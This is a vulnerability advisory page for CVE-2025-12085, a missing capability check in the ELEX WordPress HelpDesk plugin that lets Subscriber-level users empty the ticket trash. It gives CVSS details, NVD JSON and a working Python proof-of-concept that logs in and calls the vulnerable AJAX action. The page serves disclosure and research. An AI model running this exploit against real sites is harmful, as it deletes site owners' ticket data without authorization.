Security Vulnerability Report
中文
CVE-2025-12085 CVSS 4.3 MEDIUM

CVE-2025-12085

Published: 2025-11-21 06:15:48
Last Modified: 2025-12-03 18:28:51

Description

The ELEX WordPress HelpDesk & Customer Ticketing System plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'eh_crm_settings_empty_trash' function in all versions up to, and including, 3.3.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to empty the ticket trash.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:elula:wsdesk:*:*:*:*:free:wordpress:*:* - VULNERABLE
ELEX WordPress HelpDesk & Customer Ticketing System <= 3.3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-12085 PoC # ELEX WordPress HelpDesk Plugin - Missing Authorization in eh_crm_settings_empty_trash # Target: WordPress site with ELEX HelpDesk plugin <= 3.3.1 def exploit_empty_trash(target_url, username, password): """ Exploit missing authorization check in eh_crm_settings_empty_trash function. Authenticated users with Subscriber role can empty all ticket trash. """ session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data, cookies={'wordpress_test_cookie': 'WP+Cookie+check'}) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Trigger the vulnerable AJAX endpoint to empty ticket trash ajax_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'eh_crm_settings_empty_trash', # Vulnerable function 'empty_trash': 'true' } response = session.post(ajax_url, data=exploit_data) if response.status_code == 200: print("[+] Trash empty request sent successfully!") print(f"[+] Response: {response.text}") return True else: print(f"[-] Request failed with status: {response.status_code}") return False if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://example.com attacker password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_empty_trash(target, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12085", "sourceIdentifier": "[email protected]", "published": "2025-11-21T06:15:47.877", "lastModified": "2025-12-03T18:28:50.630", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The ELEX WordPress HelpDesk & Customer Ticketing System plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'eh_crm_settings_empty_trash' function in all versions up to, and including, 3.3.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to empty the ticket trash."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:elula:wsdesk:*:*:*:*:free:wordpress:*:*", "versionEndExcluding": "3.3.2", "matchCriteriaId": "6D3C90F8-FBE9-409A-A29E-3D775928E2BF"}]}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3399391/elex-helpdesk-customer-support-ticket-system/trunk/includes/class-crm-ajax-functions-two.php", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/89696d1c-8e6e-402a-9d7a-03fe0f364a72?source=cve", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}